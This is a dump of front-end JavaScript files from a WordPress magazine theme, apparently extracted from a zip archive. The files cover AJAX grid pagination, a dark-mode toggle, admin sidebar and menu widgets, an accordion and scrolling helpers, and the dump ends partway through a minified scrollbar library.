/* global penciBlocksArray */
jQuery(document).ready(function ($) {
    var nav = [];
    $('.penci-biggrid-terms-wrapper').each(function () {
        var t = $(this),
            elID = t.attr('id'),
            c = 'li.all .pc-ajaxfil-link',
            datamax = t.find('.penci-biggrid-inner.default .penci-biggrid-data').data('maxp');

        if (t.find(c).length) {
            t.find(c).attr('data-maxp', datamax);
        }

        if (parseInt(datamax) <= 1) {
            $(this).find('.pcflx-nav .pcaj-nav-link').addClass('disable');
        }

        if (t.find('.penci-ajax-more').length) {
            nav[elID] = t.find('.penci-ajax-more').prop('outerHTML');
        }
    });

    jQuery('body').on('click', '.penci-biggrid-wrapper .pc-ajaxfil-link', function (event) {
        event.preventDefault();
        if (!$(this).hasClass('loading-posts')) {
            var $this = $(this),
                parentID = $(this).closest('.penci-biggrid-wrapper').attr('id'),
                $navthis = $this,
                divid = $this.data('id'),
                divc = 'penci-biggrid-tab-' + divid,
                parent = $this.closest('.pcnav-lgroup'),
                settings = parent.data('settings'),
                layout = parent.data('layout'),
                wrap_content = $this.closest('.penci-biggrid-wrapper').find('.penci-biggrid'),
                mainc = wrap_content.find('.penci-biggrid-data').attr('class'),
                pagednum = parseInt(parent.attr('data-paged')),
                curpaged = pagednum,
                navlink = true,
                prev = false,
                o = 0;

        

            if (navlink && $this.hasClass('prev')) {
                prev = true;
            }

            if (navlink) {
                $this = parent.find('.current-item');
                divid = $this.data('id');
                divc = 'penci-biggrid-tab-' + divid;

                if (prev) {
                    pagednum = curpaged - 1;
                } else {
                    pagednum = curpaged + 1;
                }
            }

            $this.addClass('loading-posts');
            wrap_content.addClass('loading-posts pcftaj-ld');
            parent.find('.pc-ajaxfil-link').removeClass('current-item');
            $this.addClass('current-item');

            

                var data = {
                    action: 'penci_bgmore_terms_ajax',
                    settings: settings,
                    layout: layout,
                    pagednum: pagednum,
                    nonce: penci_ajax_terms_filter_bg.nonce,
                };

                $.ajax({
                    type: "POST",
                    dataType: "html",
                    url: penci_ajax_terms_filter_bg.url,
                    data: data,
                    success: function (data) {
                        if (data) {
                            var data_paded = curpaged;

                            if (navlink) {
                                wrap_content.find('.' + divc).remove();
                                data_paded = curpaged + 1;
                            }

                            if (prev) {
                                data_paded = curpaged - 1;
                            }

                            wrap_content.append('<div class="penci-biggrid-inner ' + divc + '"><div class="' + mainc + '"></div></div>');

                            if (data_paded <= 1) {
                                parent.find('.pc-ajaxfil-link.prev').addClass('disable');
                            } else {
                                parent.find('.pc-ajaxfil-link.prev').removeClass('disable');
                            }

                            if (nav[parentID] !== undefined) {
                                wrap_content.find('.' + divc).append($(nav[parentID]));
                                wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-pagednum', data_paded + 1);
                                wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-paged', data_paded + 1);
                            }

                            parent.attr('data-paged', data_paded);

                            if (layout === 'style-2') {

                                wrap_content.find('.' + divc + ' .penci-biggrid-data').append(data).imagesLoaded(function () {
                                    wrap_content.find('.' + divc + ' .penci-biggrid-data').isotope({
                                        itemSelector: '.item-masonry',
                                        transitionDuration: '.55s',
                                        layoutMode: 'masonry'
                                    });
                                });
                            } else {
                                wrap_content.find('.' + divc + ' .penci-biggrid-data').append(data);
                            }

                            if ($('.' + divc).find('.pc-nomorepost').length) {
                                parent.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                parent.find('.pc-ajaxfil-link.next').removeClass('disable');
                            }

                            wrap_content.find('.penci-biggrid-inner').hide();
                            wrap_content.find('.' + divc).show();
                            wrap_content.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');

                            var o = 0;
                            wrap_content.find('.' + divc + ' .penci-bgitem').each(function () {
                                o++;
                                $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                            });
                            $(document).trigger('bgajax_loaded');
                            $(document).trigger('penci_bf_check');
                        } else {
                            if (navlink) {
                                parent.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                wrap_content.find('.penci-biggrid-inner').hide();
                                wrap_content.find('.' + divc).append('<div class="pcajx-nopost"><span>No post found !</span></div>');
                                wrap_content.find('.' + divc).show();
                            }
                            wrap_content.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');
                        }
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                    },
                    completed: function () {
                        wrap_content.removeClass('loading-posts pcftaj-ld');
                        $this.removeClass('loading-posts');
                        $navthis.removeClass('loading-posts');
                    }
                });
            
        }
    });
});
PK     N\)\_<
  
    js/darkmode-loading.jsnu [        function penci_dmgetcookie(cname) {
    let name = cname + "=";
    let decodedCookie = decodeURIComponent(document.cookie);
    let ca = decodedCookie.split(';');
    for (let i = 0; i < ca.length; i++) {
        let c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}

if ( penci_dark.darkmode ) {
    document.cookie = "penci_mode=dark; path=/";
}

let alllogos = document.querySelectorAll('.penci-limg'),
    body = document.querySelector('body'),
    autoby = penci_dark.auto_by,
    darktheme = penci_dark.darktheme,
    hr = (new Date()).getHours(),
    cv = penci_dmgetcookie('penci_mode'),
    cc,
    lc = 'pclight-mode',
    dc = 'pcdark-mode';

if (darktheme !== '') {
    cc = 'pcdm-enable';
}

if (autoby === 'os' && !darktheme && window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
    body.classList.remove('pcdm-enable', 'pclight-mode')
    body.classList.add(dc, 'pcdm-enable');
    document.cookie = "penci_mode=dark; path=/";
    alllogos.forEach((alllogo) => {
        var lgimg = alllogo.getAttribute('data-darklogo');
        if (lgimg !== null) {
            alllogo.src = lgimg;
            alllogo.setAttribute('data-src', lgimg);
        }
    });
} else if (autoby === 'os' && window.matchMedia && window.matchMedia('(prefers-color-scheme: light)').matches) {
    body.classList.remove('pcdm-enable', 'pcdark-mode')
    body.classList.add(lc, cc);
    document.cookie = "penci_mode=light; path=/";
    alllogos.forEach((alllogo) => {
        var lgimg = alllogo.getAttribute('data-lightlogo');
        if (lgimg !== null) {
            alllogo.src = lgimg;
            alllogo.setAttribute('data-src', lgimg);
        }
    });
}

if ((autoby === 'time' && hr > 18) || cv === 'dark') {
    body.classList.remove('pcdm-enable', 'pclight-mode')
    body.classList.add(dc, 'pcdm-enable');
    document.cookie = "penci_mode=dark; path=/";
    alllogos.forEach((alllogo) => {
        var lgimg = alllogo.getAttribute('data-darklogo');
        if (lgimg !== null) {
            alllogo.src = lgimg;
            alllogo.setAttribute('data-src', lgimg);
        }
    });
} else if (autoby === 'time' || cv === 'light') {
    body.classList.remove('pcdm-enable', 'pcdark-mode')
    body.classList.add(lc, cc);
    document.cookie = "penci_mode=light; path=/";
    alllogos.forEach((alllogo) => {
        var lgimg = alllogo.getAttribute('data-lightlogo');
        if (lgimg !== null) {
            alllogo.src = lgimg;
            alllogo.setAttribute('data-src', lgimg);
        }
    });
}
PK     N\wT        js/penci-social-counter.jsnu [        jQuery(function ($) {
    'use strict';
    $(document).on('click', '.penci_access_btn', function () {
        window.location.href = $(this).data('setting');
    });
});
PK     N\"-U*  U*    js/admin-widget.jsnu [        jQuery(function ($) {
    'use strict';


    var PENCIWIDGETS = PENCIWIDGETS || {};
    PENCIWIDGETS.customSidebar = {

        init: function () {
            PENCIWIDGETS.customSidebar.addSidebars();
            PENCIWIDGETS.customSidebar.removeSidebar();
            PENCIWIDGETS.customSidebar.moveFormToTop();
            PENCIWIDGETS.customSidebar.addIconRemoveSidebar();
        },
        moveFormToTop: function () {
            $('#penci-add-custom-sidebar').parent().prependTo($('#widgets-right .sidebars-column-1'));
        },
        addSidebars: function () {
            var idAddCustomSidebar = '#penci-add-custom-sidebar';

            $('#penci-add-custom-sidebar form').submit(function (event) {
                event.preventDefault();

                var $this = $(this),
                    nameVal = $this.find('#penci-add-custom-sidebar-name').val();

                $this.find('input[type="submit"]').attr('disabled', 'disabled');
                $this.closest('#penci-add-custom-sidebar').find('.spinner').addClass('is-active');

                var data = {
                    action: 'soledad_add_sidebar',
                    _nameval: nameVal,
                    _wpnonce: Penci.nonce
                };

                $.post(Penci.ajaxUrl, data, function (r) {
                    $this.closest(idAddCustomSidebar).find('.spinner').removeClass('is-active');

                    $this.find('input[type="submit"]').removeAttr('disabled');

                    if (!r || !r.success) {
                        if (r && r.data) {
                            alert(r.data);
                        } else {
                            alert(Penci.sidebarFails);
                        }
                    } else {
                        PENCIWIDGETS.customSidebar.addSidebars.html_backup = $('#wpbody-content > .wrap').clone();

                        var dataWidget = jQuery(r.data);

                        dataWidget.find('.sidebar-name h2 .spinner').before('<a class="soledad-remove-custom-sidebar" href="#"><span class="notice-dismiss"></span></a>');

                        PENCIWIDGETS.customSidebar.addSidebars.html_backup.find('#widgets-right .sidebars-column-2').append(dataWidget);
                        $(document.body).unbind('click.widgets-toggle');

                        $('#wpbody-content > .wrap').replaceWith(PENCIWIDGETS.customSidebar.addSidebars.html_backup.clone());

                        setTimeout(function () {
                            wpWidgets.init();
                            PENCIWIDGETS.customSidebar.addSidebars();
                            PENCIWIDGETS.customSidebar.rearrangeColumns();

                            PENCIWIDGETS.customSidebar.removeSidebar();
                        }, 100);
                    }
                });
            });
        },
        removeSidebar: function () {
            var titleSidebar = $('#widgets-right .sidebar-soledad-custom-sidebar .sidebar-name h2');
            titleSidebar.on('click', '.soledad-remove-custom-sidebar', function (event) {
                event.preventDefault();
                event.stopPropagation();

                var $this = $(this);

                if (confirm(Penci.cfRemovesidebar)) {

                    $this.addClass('hidden').next('.spinner').addClass('is-active');

                    var data = {
                        action: 'soledad_remove_sidebar',
                        idSidebar: $this.closest('.widgets-sortables').attr('id'),
                        _wpnonce: Penci.nonce
                    };

                    $.post(Penci.ajaxUrl, data, function (r) {
                        if (!r || !r.success) {
                            if (r && r.data) {
                                alert(r.data);
                            } else {
                                alert(Penci.sidebarRemoveFails);
                            }
                            $this.removeClass('hidden').next('.spinner').removeClass('is-active');
                        } else {
                            $this.closest('.sidebar-soledad-custom-sidebar').remove();
                            PENCIWIDGETS.customSidebar.rearrangeColumns();
                        }
                    });
                }

            });

        },
        addIconRemoveSidebar: function () {
            var titleSidebar = $('#widgets-right .sidebar-soledad-custom-sidebar .sidebar-name h2 .spinner');
            titleSidebar.each(function () {
                if (!$(this).prev('.soledad-remove-custom-sidebar').length) {
                    $(this).before('<a class="soledad-remove-custom-sidebar" href="#"><span class="notice-dismiss"></span></a>');
                }
            });
        },
        rearrangeColumns: function () {
            var $left = $('#wpbody-content > .wrap #widgets-right .sidebars-column-1'),
                $right = $('#wpbody-content > .wrap #widgets-right .sidebars-column-2');

            if ($left.children().length - $right.children().length > 2) {
                $left.children().last().prependTo($right);
            } else if ($right.children().length >= $left.children().length) {
                $right.children().first().appendTo($left);
            }
        }
    };

    PENCIWIDGETS.menusettings = function () {
        $('.menu .menu-item.menu-item-depth-0').each(function () {
            var citem = $(this),
                cselect = citem.find('.edit-menu-item-mgstyle'),
                cselect_val = cselect.val();
            if (cselect_val != 'mega-menu') {
                cselect_val = 'cat-menu';
            }
            citem.find('p.penci-mn-settings.' + cselect_val + '-select').addClass('active');

            cselect.on('change', function () {
                var cselectc_val = $(this).val();
                if (cselectc_val != 'mega-menu') {
                    cselectc_val = 'cat-menu';
                }
                citem.find('p.penci-mn-settings').removeClass('active');
                citem.find('p.penci-mn-settings.' + cselectc_val + '-select').addClass('active');
            });

            var pcblock_id = citem.find('.pcblock-select').val(),
                none = citem.find('span.pcajax-none'),
                change = citem.find('span.pcajax-change');
            if (pcblock_id) {
                none.removeClass('active');
                change.addClass('active');
            } else {
                none.addClass('active');
                change.removeClass('active');
            }
        });


        $(document).on('change', '.pcblock-select', function () {
            var id = $(this).find(':selected').data('id'),
                wrapper = $(this).closest('.penci-mn-settings'),
                none = wrapper.find('span.pcajax-none'),
                change = wrapper.find('span.pcajax-change');
            if (id) {
                none.removeClass('active');
                change.addClass('active');

                var link = wrapper.find('.penciblock-edit-link'),
                    idlink = link.attr('data-url') + id;

                link.attr('href', idlink);

            } else {
                none.addClass('active');
                change.removeClass('active');
            }
        });

        $('.color-picker').each(function () {
            var t = $(this),
                id = t.attr('id');

            $('#' + id).wpColorPicker();
        });

        var custom_uploader;

        $(document).on('click', '.penci_menu_bgimg_btn', function (e) {

            e.preventDefault();
            //Extend the wp.media object
            custom_uploader = wp.media.frames.file_frame = wp.media({
                title: 'Select the background image for menu',
                button: {
                    text: 'Upload menu background'
                },
                multiple: false
            });

            // get settings
            var t = $(this),
                item = t.closest('.penci-mn-settings');

            //When a file is selected, grab the URL and set it as the text field's value
            custom_uploader.on('select', function () {
                var attachment = custom_uploader.state().get('selection').first().toJSON();
                $(item).find('.custom_media_id').val(attachment.id);
                $(item).find('.custom_media_image').attr('src', attachment.url);
                $(item).find('.penci_menu_bgimg_btn').html('Change Background Image');
                $(item).find('.penci_menu_bgimg_delete_btn,.pc-mn-image-wrapper').addClass('active');
            });

            //If the uploader object has already been created, reopen the dialog
            if (custom_uploader) {
                custom_uploader.open();
                return;
            }

            //Open the uploader dialog
            custom_uploader.open();
        });

        $(document).on('click', '.penci_menu_bgimg_delete_btn', function (e) {
            var t = $(this),
                item = t.closest('.penci-mn-settings');
            $(item).find('.custom_media_id').val('');
            $(item).find('.custom_media_image').attr('src', '');
            t.removeClass('active');
            $(item).find('.pc-mn-image-wrapper').removeClass('active');
            $(item).find('.penci_menu_bgimg_btn').html('Upload Background Image');
            e.preventDefault();
        });
    }

    PENCIWIDGETS.social_counter = function () {
        $('.penci-social-widget-tabs').each(function () {
            var wrap = $(this),
                sselect = wrap.find('.source-select'),
                cvalue = sselect.find('option:selected').val();
            wrap.find('.widget-title-settings.notes').hide();
            wrap.find('.widget-title-settings.notes.' + cvalue).show();
            wrap.find('.data-source-settings').hide();
            wrap.find('.data-source-settings.' + cvalue).show();

            sselect.on('change', function () {
                var tv = $(this).find(':selected').val();
                wrap.find('.widget-title-settings.notes').hide();
                wrap.find('.widget-title-settings.notes.' + tv).show();
                wrap.find('.data-source-settings').hide();
                wrap.find('.data-source-settings.' + tv).show();
            });

        });
    }

    /* Init functions
     ---------------------------------------------------------------*/
    $(document).ready(function () {
        PENCIWIDGETS.customSidebar.init();
        PENCIWIDGETS.menusettings();
        PENCIWIDGETS.social_counter();
        $(document).on('menu-item-added', function () {
            PENCIWIDGETS.menusettings();
        });
        $(document).on('widget-added widget-updated', function ($control) {
            PENCIWIDGETS.social_counter();
        });
    });
});

PK     N\db      js/content-accordion.jsnu [        (function($, elementor) {

    'use strict';

    var widgetCtA = function() {

        $('.penci-ct-accordion').each(function(e){

            var $ctAcc = $(this),
                $settings = $ctAcc.data('settings'),
                mouse_event = $settings.mouse_event == 'mouseover' ? 'mouseover mouseenter' : $settings.mouse_event;

            var accordionItem = $ctAcc.find('.penci-ct-accordion-item');
            var totalItems = $ctAcc.children().length;

            if (($settings.activeItem == true) && ($settings.activeItemNumber <= totalItems)) {
                $ctAcc.find('.penci-ct-accordion-item').removeClass('active');
                $ctAcc.children().eq($settings.activeItemNumber - 1).addClass('active');
            }

            if (window.matchMedia('(max-width: 960px)').matches){
                mouse_event = 'click';
            }
            
            $(accordionItem).on(mouse_event, function() {
                $(this).siblings().removeClass('active');
                $(this).addClass('active');
            });

            if ($settings.activeItem != true) {
                $("body").on(mouse_event, function(e) {
                    if (e.target.$ctAcc == "penci-ct-accordion" || $(e.target).closest(".penci-ct-accordion").length) {} else {
                        $ctAcc.find('.penci-ct-accordion-item').removeClass('active');
                    }
                });
            }
        });
    };

    jQuery(window).on('elementor/frontend/init', function() {
        elementorFrontend.hooks.addAction('frontend/element_ready/penci-content-accordion.default', widgetCtA);
    });

    jQuery(window).on('resize', function() {
        widgetCtA();
    });

}(jQuery, window.elementorFrontend));PK     N\uØ      js/abc-scroll.jsnu [        (function ($) {
	"use strict";
	var ELPENCI_PL = ELPENCI_PL || {};

	ELPENCI_PL.abc_heading = function () {
		$(document).on(
			"click",
			".penci_az_taxonomy_listing_head a",
			function (event) {
				event.preventDefault();

				var target = $($(this).attr("href")); // Convert href into a jQuery object
				var newUrl = $(this).attr("href"); // Get the href for URL update

				if (target.length) {
					var offset = $(".penci-header-wrap").outerHeight() + 20;
					$("html, body").animate(
						{
							scrollTop: target.offset().top - offset,
						},
						500
					);

					history.pushState(null, null, newUrl);
				}
			}
		);

		var hash = window.location.hash;
		if (hash && hash.startsWith("#penci_az")) {
			var target = $(hash); // Convert hash to jQuery object

			if (target.length) {
				var offset = $(".penci-header-wrap").outerHeight() + 20;
				$("html, body").animate(
					{
						scrollTop: target.offset().top - offset,
					},
					500
				);
			}
		}
	};

	// Add space for Elementor Menu Anchor link
	$(window).on("elementor/frontend/init", function () {
		if (window.elementorFrontend) {
			elementorFrontend.hooks.addAction(
				"frontend/element_ready/penci-az-taxonomy-listing.default",
				function ($scope) {
					ELPENCI_PL.abc_heading();
				}
			);
		}
	});
})(jQuery);
PK     N\/      js/sticky_share.jsnu [        (function($) {
  'use strict';
  var PENCI = PENCI || {};
  /* Single Post Scroll
 ---------------------------------------------------------------*/
  PENCI.singlepostscrollin_share = function() {
    
    $('.penci-single-block').bind('inview', function (event, visible, topOrBottomOrBoth) {
      var t = $(this);
      if (visible == true) {
        t.addClass('inview');
      } else {
        t.removeClass('inview');
      }
    });
    
  };
  
  $(document).ready(function() {
    PENCI.singlepostscrollin_share();
    $('body').on('single_loaded_more', function() {
      PENCI.singlepostscrollin_share();
    });
  });
})(jQuery); // EOFPK     N\2r<  <    js/smoothscroll.jsnu [        !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.Scrollbar=e():t.Scrollbar=e()}(this,(function(){return function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=65)}([function(t,e,n){(function(e){var n=function(t){return t&&t.Math==Math&&t};t.exports=n("object"==typeof globalThis&&globalThis)||n("object"==typeof window&&window)||n("object"==typeof self&&self)||n("object"==typeof e&&e)||Function("return this")()}).call(this,n(68))},function(t,e,n){var r=n(0),o=n(50),i=n(3),u=n(29),c=n(55),a=n(75),s=o("wks"),f=r.Symbol,l=a?f:f&&f.withoutSetter||u;t.exports=function(t){return i(s,t)||(c&&i(f,t)?s[t]=f[t]:s[t]=l("Symbol."+t)),s[t]}},function(t,e){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,e){var n={}.hasOwnProperty;t.exports=function(t,e){return n.call(t,e)}},function(t,e){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,e,n){var r=n(6),o=n(45),i=n(7),u=n(25),c=Object.defineProperty;e.f=r?c:function(t,e,n){if(i(t),e=u(e,!0),i(n),o)try{return c(t,e,n)}catch(t){}if("get"in n||"set"in n)throw TypeError("Accessors not supported");return"value"in n&&(t[e]=n.value),t}},function(t,e,n){var r=n(4);t.exports=!r((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},function(t,e,n){var r=n(2);t.exports=function(t){if(!r(t))throw TypeError(String(t)+" is not an object");return t}},function(t,e,n){var r=n(6),o=n(5),i=n(14);t.exports=r?function(t,e,n){return o.f(t,e,i(1,n))}:function(t,e,n){return t[e]=n,t}},function(t,e,n){var r,o,i,u=n(49),c=n(0),a=n(2),s=n(8),f=n(3),l=n(27),p=n(16),h=c.WeakMap;if(u){var d=new h,v=d.get,y=d.has,m=d.set;r=function(t,e){return m.call(d,t,e),e},o=function(t){return v.call(d,t)||{}},i=function(t){return y.call(d,t)}}else{var g=l("state");p[g]=!0,r=function(t,e){return s(t,g,e),e},o=function(t){return f(t,g)?t[g]:{}},i=function(t){return f(t,g)}}t.exports={set:r,get:o,has:i,enforce:function(t){return i(t)?o(t):r(t,{})},getterFor:function(t){return function(e){var n;if(!a(e)||(n=o(e)).type!==t)throw TypeError("Incompatible receiver, "+t+" required");return n}}}},function(t,e,n){var r=n(0);t.exports=r},function(t,e,n){var r=n(0),o=n(8),i=n(3),u=n(26),c=n(47),a=n(9),s=a.get,f=a.enforce,l=String(String).split("String");(t.exports=function(t,e,n,c){var a=!!c&&!!c.unsafe,s=!!c&&!!c.enumerable,p=!!c&&!!c.noTargetGet;"function"==typeof n&&("string"!=typeof e||i(n,"name")||o(n,"name",e),f(n).source=l.join("string"==typeof e?e:"")),t!==r?(a?!p&&t[e]&&(s=!0):delete t[e],s?t[e]=n:o(t,e,n)):s?t[e]=n:u(e,n)})(Function.prototype,"toString",(function(){return"function"==typeof this&&s(this).source||c(this)}))},function(t,e){t.exports={}},function(t,e,n){var r=n(0),o=n(43).f,i=n(8),u=n(11),c=n(26),a=n(69),s=n(53);t.exports=function(t,e){var n,f,l,p,h,d=t.target,v=t.global,y=t.stat;if(n=v?r:y?r[d]||c(d,{}):(r[d]||{}).prototype)for(f in e){if(p=e[f],l=t.noTargetGet?(h=o(n,f))&&h.value:n[f],!s(v?f:d+(y?".":"#")+f,t.forced)&&void 0!==l){if(typeof p==typeof l)continue;a(p,l)}(t.sham||l&&l.sham)&&i(p,"sham",!0),u(n,f,p,t)}}},function(t,e){t.exports=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}},function(t,e,n){var r=n(22),o=n(24);t.exports=function(t){return r(o(t))}},function(t,e){t.exports={}},function(t,e,n){var r=n(31),o=Math.min;t.exports=function(t){return t>0?o(r(t),9007199254740991):0}},function(t,e,n){var r=n(16),o=n(2),i=n(3),u=n(5).f,c=n(29),a=n(74),s=c("meta"),f=0,l=Object.isExtensible||function(){return!0},p=function(t){u(t,s,{value:{objectID:"O"+ ++f,weakData:{}}})},h=t.exports={REQUIRED:!1,fastKey:function(t,e){if(!o(t))return"symbol"==typeof t?t:("string"==typeof t?"S":"P")+t;if(!i(t,s)){if(!l(t))return"F";if(!e)return"E";p(t)}return t[s].objectID},getWeakData:function(t,e){if(!i(t,s)){if(!l(t))return!0;if(!e)return!1;p(t)}return t[s].weakData},onFreeze:function(t){return a&&h.REQUIRED&&l(t)&&!i(t,s)&&p(t),t}};r[s]=!0},function(t,e,n){var r=n(76);t.exports=function(t,e,n){if(r(t),void 0===e)return t;switch(n){case 0:return function(){return t.call(e)};case 1:return function(n){return t.call(e,n)};case 2:return function(n,r){return t.call(e,n,r)};case 3:return function(n,r,o){return t.call(e,n,r,o)}}return function(){return t.apply(e,arguments)}}},function(t,e,n){var r=n(24);t.exports=function(t){return Object(r(t))}},function(t,e,n){"use strict";var r=n(13),o=n(0),i=n(53),u=n(11),c=n(18),a=n(33),s=n(35),f=n(2),l=n(4),p=n(59),h=n(36),d=n(77);t.exports=function(t,e,n){var v=-1!==t.indexOf("Map"),y=-1!==t.indexOf("Weak"),m=v?"set":"add",g=o[t],x=g&&g.prototype,b=g,w={},S=function(t){var e=x[t];u(x,t,"add"==t?function(t){return e.call(this,0===t?0:t),this}:"delete"==t?function(t){return!(y&&!f(t))&&e.call(this,0===t?0:t)}:"get"==t?function(t){return y&&!f(t)?void 0:e.call(this,0===t?0:t)}:"has"==t?function(t){return!(y&&!f(t))&&e.call(this,0===t?0:t)}:function(t,n){return e.call(this,0===t?0:t,n),this})};if(i(t,"function"!=typeof g||!(y||x.forEach&&!l((function(){(new g).entries().next()})))))b=n.getConstructor(e,t,v,m),c.REQUIRED=!0;else if(i(t,!0)){var _=new b,E=_[m](y?{}:-0,1)!=_,O=l((function(){_.has(1)})),T=p((function(t){new g(t)})),A=!y&&l((function(){for(var t=new g,e=5;e--;)t[m](e,e);return!t.has(-0)}));T||((b=e((function(e,n){s(e,b,t);var r=d(new g,e,b);return null!=n&&a(n,r[m],r,v),r}))).prototype=x,x.constructor=b),(O||A)&&(S("delete"),S("has"),v&&S("get")),(A||E)&&S(m),y&&x.clear&&delete x.clear}return w[t]=b,r({global:!0,forced:b!=g},w),h(b,t),y||n.setStrong(b,t,v),b}},function(t,e,n){var r=n(4),o=n(23),i="".split;t.exports=r((function(){return!Object("z").propertyIsEnumerable(0)}))?function(t){return"String"==o(t)?i.call(t,""):Object(t)}:Object},function(t,e){var n={}.toString;t.exports=function(t){return n.call(t).slice(8,-1)}},function(t,e){t.exports=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t}},function(t,e,n){var r=n(2);t.exports=function(t,e){if(!r(t))return t;var n,o;if(e&&"function"==typeof(n=t.toString)&&!r(o=n.call(t)))return o;if("function"==typeof(n=t.valueOf)&&!r(o=n.call(t)))return o;if(!e&&"function"==typeof(n=t.toString)&&!r(o=n.call(t)))return o;throw TypeError("Can't convert object to primitive value")}},function(t,e,n){var r=n(0),o=n(8);t.exports=function(t,e){try{o(r,t,e)}catch(n){r[t]=e}return e}},function(t,e,n){var r=n(50),o=n(29),i=r("keys");t.exports=function(t){return i[t]||(i[t]=o(t))}},function(t,e){t.exports=!1},function(t,e){var n=0,r=Math.random();t.exports=function(t){return"Symbol("+String(void 0===t?"":t)+")_"+(++n+r).toString(36)}},function(t,e,n){var r=n(10),o=n(0),i=function(t){return"function"==typeof t?t:void 0};t.exports=function(t,e){return arguments.length<2?i(r[t])||i(o[t]):r[t]&&r[t][e]||o[t]&&o[t][e]}},function(t,e){var n=Math.ceil,r=Math.floor;t.exports=function(t){return isNaN(t=+t)?0:(t>0?r:n)(t)}},function(t,e){t.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},function(t,e,n){var r=n(7),o=n(54),i=n(17),u=n(19),c=n(56),a=n(58),s=function(t,e){this.stopped=t,this.result=e};(t.exports=function(t,e,n,f,l){var p,h,d,v,y,m,g,x=u(e,n,f?2:1);if(l)p=t;else{if("function"!=typeof(h=c(t)))throw TypeError("Target is not iterable");if(o(h)){for(d=0,v=i(t.length);v>d;d++)if((y=f?x(r(g=t[d])[0],g[1]):x(t[d]))&&y instanceof s)return y;return new s(!1)}p=h.call(t)}for(m=p.next;!(g=m.call(p)).done;)if("object"==typeof(y=a(p,x,g.value,f))&&y&&y instanceof s)return y;return new s(!1)}).stop=function(t){return new s(!0,t)}},function(t,e,n){var r={};r[n(1)("toStringTag")]="z",t.exports="[object z]"===String(r)},function(t,e){t.exports=function(t,e,n){if(!(t instanceof e))throw TypeError("Incorrect "+(n?n+" ":"")+"invocation");return t}},function(t,e,n){var r=n(5).f,o=n(3),i=n(1)("toStringTag");t.exports=function(t,e,n){t&&!o(t=n?t:t.prototype,i)&&r(t,i,{configurable:!0,value:e})}},function(t,e,n){var r,o=n(7),i=n(79),u=n(32),c=n(16),a=n(80),s=n(46),f=n(27)("IE_PROTO"),l=function(){},p=function(t){return"<script>"+t+"<\/script>"},h=function(){try{r=document.domain&&new ActiveXObject("htmlfile")}catch(t){}h=r?function(t){t.write(p("")),t.close();var e=t.parentWindow.Object;return t=null,e}(r):function(){var t,e=s("iframe");return e.style.display="none",a.appendChild(e),e.src=String("javascript:"),(t=e.contentWindow.document).open(),t.write(p("document.F=Object")),t.close(),t.F}();for(var t=u.length;t--;)delete h.prototype[u[t]];return h()};c[f]=!0,t.exports=Object.create||function(t,e){var n;return null!==t?(l.prototype=o(t),n=new l,l.prototype=null,n[f]=t):n=h(),void 0===e?n:i(n,e)}},function(t,e,n){var r=n(11);t.exports=function(t,e,n){for(var o in e)r(t,o,e[o],n);return t}},function(t,e,n){"use strict";var r=n(13),o=n(81),i=n(64),u=n(60),c=n(36),a=n(8),s=n(11),f=n(1),l=n(28),p=n(12),h=n(63),d=h.IteratorPrototype,v=h.BUGGY_SAFARI_ITERATORS,y=f("iterator"),m=function(){return this};t.exports=function(t,e,n,f,h,g,x){o(n,e,f);var b,w,S,_=function(t){if(t===h&&P)return P;if(!v&&t in T)return T[t];switch(t){case"keys":case"values":case"entries":return function(){return new n(this,t)}}return function(){return new n(this)}},E=e+" Iterator",O=!1,T=t.prototype,A=T[y]||T["@@iterator"]||h&&T[h],P=!v&&A||_(h),j="Array"==e&&T.entries||A;if(j&&(b=i(j.call(new t)),d!==Object.prototype&&b.next&&(l||i(b)===d||(u?u(b,d):"function"!=typeof b[y]&&a(b,y,m)),c(b,E,!0,!0),l&&(p[E]=m))),"values"==h&&A&&"values"!==A.name&&(O=!0,P=function(){return A.call(this)}),l&&!x||T[y]===P||a(T,y,P),p[e]=P,h)if(w={values:_("values"),keys:g?P:_("keys"),entries:_("entries")},x)for(S in w)!v&&!O&&S in T||s(T,S,w[S]);else r({target:e,proto:!0,forced:v||O},w);return w}},function(t,e,n){var r=n(34),o=n(11),i=n(84);r||o(Object.prototype,"toString",i,{unsafe:!0})},function(t,e,n){"use 